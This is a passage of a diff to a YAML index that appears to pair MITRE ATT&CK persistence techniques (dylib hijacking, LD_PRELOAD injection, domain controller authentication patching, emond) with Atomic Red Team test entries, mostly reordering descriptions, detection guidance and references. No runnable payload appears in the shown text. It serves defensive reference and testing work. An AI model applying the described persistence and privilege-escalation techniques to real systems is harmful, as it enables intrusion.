       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2020-09-16T19:42:11.787Z'
-      created: '2020-03-13T20:21:54.758Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_detection: |-
-        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
-
-        Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Logon Session: Logon Session Creation'
+      id: attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      description: |-
+        Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)
+
+        Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.
+      x_mitre_contributors:
+      - Jon Sternstein, Stern Security
+      x_mitre_detection: "Configure robust, consistent account activity audit policies
+        across the enterprise and with externally accessible services.(Citation: TechNet
+        Audit Policy) Look for suspicious account behavior across systems that share
+        accounts, either user, admin, or service accounts. Examples: one account logged
+        into multiple systems simultaneously; multiple accounts logged into the same
+        machine simultaneously; accounts logged in at odd times or outside of business
+        hours. Activity may be from interactive login sessions or process ownership
+        from accounts being used to execute binaries on a remote system as a particular
+        account. Correlate other security systems with login information (e.g., a
+        user has an active login session but has not entered the building or does
+        not have VPN access).\n\nOn Linux, check logs and other artifacts created
+        by use of domain authentication services, such as the System Security Services
+        Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain
+        accounts to detect accounts that may have been created by an adversary for
+        persistence."
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1078/002
+        external_id: T1078.002
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/560.html
+        external_id: CAPEC-560
+        source_name: capec
+      - source_name: TechNet Credential Theft
+        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
+          Theft. Retrieved June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn535501.aspx
+      - url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts
+        description: Microsoft. (2019, August 23). Active Directory Accounts. Retrieved
+          March 13, 2020.
+        source_name: Microsoft AD Accounts
+      - source_name: TechNet Audit Policy
+        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
+          June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
+      - url: https://ubuntu.com/server/docs/service-sssd
+        description: Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021.
+        source_name: Ubuntu SSSD Docs
     atomic_tests: []
   T1556.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1556.001
-        url: https://attack.mitre.org/techniques/T1556/001
-      - source_name: Dell Skeleton
-        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
-          Retrieved April 8, 2019.
-        url: https://www.secureworks.com/research/skeleton-key-malware-analysis
-      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
-        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
-          June 3, 2016.
-        source_name: TechNet Audit Policy
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Domain Controller Authentication
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Creation'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      - 'File: File Modification'
+      x_mitre_version: '2.0'
+      modified: '2021-04-20T20:10:26.613Z'
+      created: '2020-02-11T19:05:02.399Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605
       description: "Adversaries may patch the authentication process on a domain controller
         to bypass the typical authentication mechanisms and enable access to accounts.
         \n\nMalware may be used to inject false credentials into the authentication
@@ -45425,8 +46695,6 @@ persistence:
         key is erased from memory by a reboot of the domain controller). Authenticated
         access may enable unfettered access to hosts and/or resources within single-factor
         authentication environments.(Citation: Dell Skeleton)"
-      id: attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
@@ -45434,15 +46702,6 @@ persistence:
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2021-04-20T20:10:26.613Z'
-      created: '2020-02-11T19:05:02.399Z'
-      x_mitre_data_sources:
-      - 'Logon Session: Logon Session Creation'
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
-      - 'File: File Modification'
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: "Monitor for calls to <code>OpenProcess</code> that can be
         used to manipulate lsass.exe running on a domain controller as well as for
         malicious modifications to functions exported from authentication-related
@@ -45457,62 +46716,43 @@ persistence:
         used to execute binaries on a remote system as a particular account. Correlate
         other security systems with login information (e.g. a user has an active login
         session but has not entered the building or does not have VPN access). "
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1556/001
+        external_id: T1556.001
+        source_name: mitre-attack
+      - url: https://www.secureworks.com/research/skeleton-key-malware-analysis
+        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
+          Retrieved April 8, 2019.
+        source_name: Dell Skeleton
+      - source_name: TechNet Audit Policy
+        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
+          June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
     atomic_tests: []
   T1574.004:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Dylib Hijacking
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Module: Module Load'
+      x_mitre_version: '2.0'
+      modified: '2021-04-27T20:19:15.212Z'
+      created: '2020-03-16T15:23:30.896Z'
+      x_mitre_defense_bypassed:
+      - Application control
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: true
       id: attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490
       description: |-
         Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable.  Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.
 
         Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)
-      name: Dylib Hijacking
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.004
-        url: https://attack.mitre.org/techniques/T1574/004
-      - external_id: CAPEC-471
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/471.html
-      - source_name: Wardle Dylib Hijack Vulnerable Apps
-        url: https://objective-see.com/blog/blog_0x46.html
-        description: Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore
-          Apps. Retrieved March 31, 2021.
-      - source_name: Wardle Dylib Hijacking OSX 2015
-        url: https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf
-        description: Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved
-          March 29, 2021.
-      - source_name: Github EmpireProject HijackScanner
-        url: https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py
-        description: Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib
-          Hijack Vulnerability Scanner. Retrieved April 1, 2021.
-      - source_name: Github EmpireProject CreateHijacker Dylib
-        url: https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py
-        description: Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib
-          Hijacker. Retrieved April 1, 2021.
-      - url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
-        description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved
-          July 10, 2017.
-        source_name: Writing Bad Malware for OSX
-      - source_name: wardle artofmalware volume1
-        url: https://taomm.org/vol1/pdfs.html
-        description: 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume
-          0x1: Analysis. Retrieved March 19, 2021.'
-      - source_name: MalwareUnicorn macOS Dylib Injection MachO
-        url: https://malwareunicorn.org/workshops/macos_dylib_injection.html#5
-        description: Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop.
-          Retrieved March 29, 2021.
-      - source_name: Apple Developer Doco Archive Run-Path
-        url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html
-        description: Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved
-          March 31, 2021.
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -45520,14 +46760,6 @@ persistence:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2021-04-27T20:19:15.212Z'
-      created: '2020-03-16T15:23:30.896Z'
-      x_mitre_platforms:
-      - macOS
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Module: Module Load'
       x_mitre_detection: "Monitor file systems for moving, renaming, replacing, or
         modifying dylibs. Changes in the set of dylibs that are loaded by a process
         (compared to past behavior) that do not correlate with known software, patches,
@@ -45541,13 +46773,68 @@ persistence:
         Objective-See's Dylib Hijacking Scanner can be used to identify applications
         vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation:
         Github EmpireProject HijackScanner)"
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '2.0'
-      x_mitre_defense_bypassed:
-      - Application control
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/004
+        external_id: T1574.004
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/471.html
+        external_id: CAPEC-471
+        source_name: capec
+      - url: https://objective-see.com/blog/blog_0x46.html
+        description: Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore
+          Apps. Retrieved March 31, 2021.
+        source_name: Wardle Dylib Hijack Vulnerable Apps
+      - url: https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf
+        description: Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved
+          March 29, 2021.
+        source_name: Wardle Dylib Hijacking OSX 2015
+      - url: https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py
+        description: Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib
+          Hijack Vulnerability Scanner. Retrieved April 1, 2021.
+        source_name: Github EmpireProject HijackScanner
+      - url: https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py
+        description: Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib
+          Hijacker. Retrieved April 1, 2021.
+        source_name: Github EmpireProject CreateHijacker Dylib
+      - source_name: Writing Bad Malware for OSX
+        description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved
+          July 10, 2017.
+        url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
+      - url: https://taomm.org/vol1/pdfs.html
+        description: 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume
+          0x1: Analysis. Retrieved March 19, 2021.'
+        source_name: wardle artofmalware volume1
+      - url: https://malwareunicorn.org/workshops/macos_dylib_injection.html#5
+        description: Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop.
+          Retrieved March 29, 2021.
+        source_name: MalwareUnicorn macOS Dylib Injection MachO
+      - url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html
+        description: Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved
+          March 31, 2021.
+        source_name: Apple Developer Doco Archive Run-Path
     atomic_tests: []
   T1574.006:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Dynamic Linker Hijacking
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Module: Module Load'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '2.0'
+      modified: '2021-04-27T19:55:18.453Z'
+      created: '2020-03-13T20:09:59.569Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
       id: attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825
       description: "Adversaries may execute their own malicious payloads by hijacking
         environment variables the dynamic linker uses to load shared libraries. During
@@ -45585,66 +46872,6 @@ persistence:
         functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation:
         Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina
         Bypass) "
-      name: Dynamic Linker Hijacking
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.006
-        url: https://attack.mitre.org/techniques/T1574/006
-      - external_id: CAPEC-13
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/13.html
-      - external_id: CAPEC-640
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/640.html
-      - source_name: Man LD.SO
-        url: https://www.man7.org/linux/man-pages/man8/ld.so.8.html
-        description: Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved
-          June 15, 2020.
-      - source_name: TLDP Shared Libraries
-        url: https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html
-        description: The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved
-          January 31, 2020.
-      - source_name: Apple Doco Archive Dynamic Libraries
-        url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html
-        description: Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved
-          March 24, 2021.
-      - source_name: Baeldung LD_PRELOAD
-        url: https://www.baeldung.com/linux/ld_preload-trick-what-is
-        description: baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved
-          March 24, 2021.
-      - source_name: Code Injection on Linux and macOS
-        url: https://www.datawire.io/code-injection-on-linux-and-macos/
-        description: 'Itamar Turner-Trauring. (2017, April 18). “This will only hurt
-          for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved
-          December 20, 2017.'
-      - url: http://hick.org/code/skape/papers/needle.txt
-        description: skape. (2003, January 19). Linux x86 run-time process manipulation.
-          Retrieved December 20, 2017.
-        source_name: Uninformed Needle
-      - url: http://phrack.org/issues/51/8.html
-        description: halflife. (1997, September 1). Shared Library Redirection Techniques.
-          Retrieved December 20, 2017.
-        source_name: Phrack halfdead 1997
-      - source_name: Brown Exploiting Linkers
-        url: http://www.nth-dimension.org.uk/pub/BTL.pdf
-        description: 'Tim Brown. (2011, June 29). Breaking the links: Exploiting the
-          linker. Retrieved March 29, 2021.'
-      - source_name: TheEvilBit DYLD_INSERT_LIBRARIES
-        url: https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/
-        description: Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection
-          in macOS / OSX. Retrieved March 26, 2020.
-      - source_name: Timac DYLD_INSERT_LIBRARIES
-        url: https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/
-        description: Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES.
-          Retrieved March 26, 2020.
-      - source_name: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass
-        url: https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191
-        description: Jon Gabilondo. (2019, September 22). How to Inject Code into
-          Mach-O Apps. Part II.. Retrieved March 24, 2021.
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -45652,25 +46879,66 @@ persistence:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2021-04-27T19:55:18.453Z'
-      created: '2020-03-13T20:09:59.569Z'
-      x_mitre_permissions_required:
-      - User
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Module: Module Load'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
       x_mitre_detection: |-
         Monitor for changes to environment variables and files associated with loading shared libraries such as <code>LD_PRELOAD</code> and <code>DYLD_INSERT_LIBRARIES</code>, as well as the commands to implement these changes.
 
         Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '2.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/006
+        external_id: T1574.006
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/13.html
+        external_id: CAPEC-13
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/640.html
+        external_id: CAPEC-640
+        source_name: capec
+      - url: https://www.man7.org/linux/man-pages/man8/ld.so.8.html
+        description: Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved
+          June 15, 2020.
+        source_name: Man LD.SO
+      - url: https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html
+        description: The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved
+          January 31, 2020.
+        source_name: TLDP Shared Libraries
+      - url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html
+        description: Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved
+          March 24, 2021.
+        source_name: Apple Doco Archive Dynamic Libraries
+      - url: https://www.baeldung.com/linux/ld_preload-trick-what-is
+        description: baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved
+          March 24, 2021.
+        source_name: Baeldung LD_PRELOAD
+      - url: https://www.datawire.io/code-injection-on-linux-and-macos/
+        description: 'Itamar Turner-Trauring. (2017, April 18). “This will only hurt
+          for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved
+          December 20, 2017.'
+        source_name: Code Injection on Linux and macOS
+      - source_name: Uninformed Needle
+        description: skape. (2003, January 19). Linux x86 run-time process manipulation.
+          Retrieved December 20, 2017.
+        url: http://hick.org/code/skape/papers/needle.txt
+      - source_name: Phrack halfdead 1997
+        description: halflife. (1997, September 1). Shared Library Redirection Techniques.
+          Retrieved December 20, 2017.
+        url: http://phrack.org/issues/51/8.html
+      - url: http://www.nth-dimension.org.uk/pub/BTL.pdf
+        description: 'Tim Brown. (2011, June 29). Breaking the links: Exploiting the
+          linker. Retrieved March 29, 2021.'
+        source_name: Brown Exploiting Linkers
+      - url: https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/
+        description: Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection
+          in macOS / OSX. Retrieved March 26, 2020.
+        source_name: TheEvilBit DYLD_INSERT_LIBRARIES
+      - url: https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/
+        description: Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES.
+          Retrieved March 26, 2020.
+        source_name: Timac DYLD_INSERT_LIBRARIES
+      - url: https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191
+        description: Jon Gabilondo. (2019, September 22). How to Inject Code into
+          Mach-O Apps. Part II.. Retrieved March 24, 2021.
+        source_name: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass
       identifier: T1574.006
     atomic_tests:
     - name: Shared Library Injection via /etc/ld.so.preload
@@ -45750,56 +47018,56 @@ persistence:
         name: bash
   T1546.014:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.014
-        url: https://attack.mitre.org/techniques/T1546/014
-      - source_name: xorrior emond Jan 2018
-        url: https://www.xorrior.com/emond-persistence/
-        description: Ross, Chris. (2018, January 17). Leveraging Emond on macOS For
-          Persistence. Retrieved September 10, 2019.
-      - source_name: magnusviri emond Apr 2016
-        url: http://www.magnusviri.com/Mac/what-is-emond.html
-        description: Reynolds, James. (2016, April 7). What is emond?. Retrieved September
-          10, 2019.
-      - source_name: sentinelone macos persist Jun 2019
-        url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
-        description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS.
-          Retrieved September 10, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Emond
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'File: File Creation'
+      x_mitre_version: '1.0'
+      modified: '2020-03-24T21:37:25.307Z'
+      created: '2020-01-24T15:15:13.426Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
       description: |-
         Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.
 
         The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)
 
         Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.
-      id: attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-03-24T21:37:25.307Z'
-      created: '2020-01-24T15:15:13.426Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_detection: Monitor emond rules creation by checking for files created
-        or modified in <code>/etc/emond.d/rules/</code> and <code>/private/var/db/emondClients</code>.
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'File: File Creation'
       x_mitre_contributors:
       - Ivan Sinyakov
-      x_mitre_platforms:
-      - macOS
+      x_mitre_detection: Monitor emond rules creation by checking for files created
+        or modified in <code>/etc/emond.d/rules/</code> and <code>/private/var/db/emondClients</code>.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/014
+        external_id: T1546.014
+        source_name: mitre-attack
+      - url: https://www.xorrior.com/emond-persistence/
+        description: Ross, Chris. (2018, January 17). Leveraging Emond on macOS For
+          Persistence. Retrieved September 10, 2019.
+        source_name: xorrior emond Jan 2018
+      - url: http://www.magnusviri.com/Mac/what-is-emond.html
+        description: Reynolds, James. (2016, April 7). What is emond?. Retrieved September
+          10, 2019.
+        source_name: magnusviri emond Apr 2016
+      - url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
+        description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS.
+          Retrieved September 10, 2019.
+        source_name: sentinelone macos persist Jun 2019
       identifier: T1546.014
     atomic_tests:
     - name: Persistance with Event Monitor - emond
@@ -45826,6 +47094,27 @@ persistence:
         elevation_required: true
   T1546:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Event Triggered Execution
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Command: Command Execution'
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'WMI: WMI Creation'
+      - 'File: File Metadata'
+      - 'Module: Module Load'
+      x_mitre_version: '1.1'
+      modified: '2021-10-16T20:11:14.193Z'
+      created: '2020-01-22T21:04:23.285Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
       id: attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db
       description: "Adversaries may establish persistence and/or elevate privileges
         using system mechanisms that trigger execution based on specific events. Various
@@ -45839,47 +47128,11 @@ persistence:
         malware)\n\nSince the execution can be proxied by an account with higher permissions,
         such as SYSTEM or service accounts, an adversary may be able to abuse these
         triggered execution mechanisms to escalate their privileges. "
-      name: Event Triggered Execution
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546
-        url: https://attack.mitre.org/techniques/T1546
-      - url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
-        description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
-          (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
-        source_name: FireEye WMI 2015
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
-          Retrieved July 10, 2017.
-        source_name: Malware Persistence on OS X
-      - url: https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
-        description: Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux
-          Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.
-        source_name: amnesia malware
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2021-04-13T21:32:54.610Z'
-      created: '2020-01-22T21:04:23.285Z'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
